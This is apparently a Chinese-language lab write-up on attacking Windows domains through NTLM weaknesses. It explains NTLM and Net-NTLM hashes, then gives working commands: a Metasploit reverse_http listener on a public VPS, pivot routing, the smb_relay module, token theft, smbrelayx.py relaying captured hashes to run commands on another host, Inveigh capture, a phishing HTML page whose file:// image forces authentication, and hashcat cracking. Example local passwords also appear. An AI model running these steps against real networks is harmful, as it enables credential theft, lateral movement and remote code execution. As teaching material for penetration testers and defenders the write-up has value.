IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,NTLM-Relay,Kerberos_TGS,GPO&DACL,域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现,运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用,NTLM Relay又包括(relay to smb,ldap,ews) 可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。
由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。
NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。
Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。
如果是在域环境中,那么认证过程会经过域控制器: 4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。 5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。 服务器根据DC返回的结果,对客户端进行回复 在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。
通讯双方当前用户和密码一致 例如 webserver中有本地用户administrator/admin!@#45 并且sqlserver本地用户也有administrator/admin!@#45 那么可以通过 dir \192.168.3.32\c$访问到sqlserver下C盘文件,因为访问时默认会使用当前用户密码进行验证对方电脑账号密码
当访问DC(administrator/Admin12345)时,密码错误,就无法查看DC目录
CS:
spawn l-msf
MSF: 监听上线:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8787
run
添加路由:
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回
重发模块:
use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 47.94.130.xx //设置本地IP
set autorunscript post/windows/manage/migrate
主动连接:
set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run
关键是如何获取administrator权限 从system权限进行令牌窃取获取administrator权限
msf下窃取令牌
很遗憾没有复现成功(生成新的对话) 在公网vps上测试:
一开始以为是网络问题,切换至本地kali上同样也是只返回一段hash值,并没有生成新的对话
攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1(webserver)访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2(sqlserver) 。
./smbrelayx.py -h <Client2 IP> -c Command
……
条件:被控主机当前管理员权限 Responder中继攻击-NTLM Hash破解 https://github.com/hashcat/hashcat/ https://github.com/Kevin-Robertson/Inveigh 1、监听拦截
Inveigh.exe
获取到的是NET NTLM HASH V1或V2 2、触发拦截
dir \\192.168.3.x\c$
2.1、钓鱼触发 http://192.168.3.31/1.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.32\2">
</body>
</html>
3、破解密文
hashcat -m 5600 hash pass.txt --show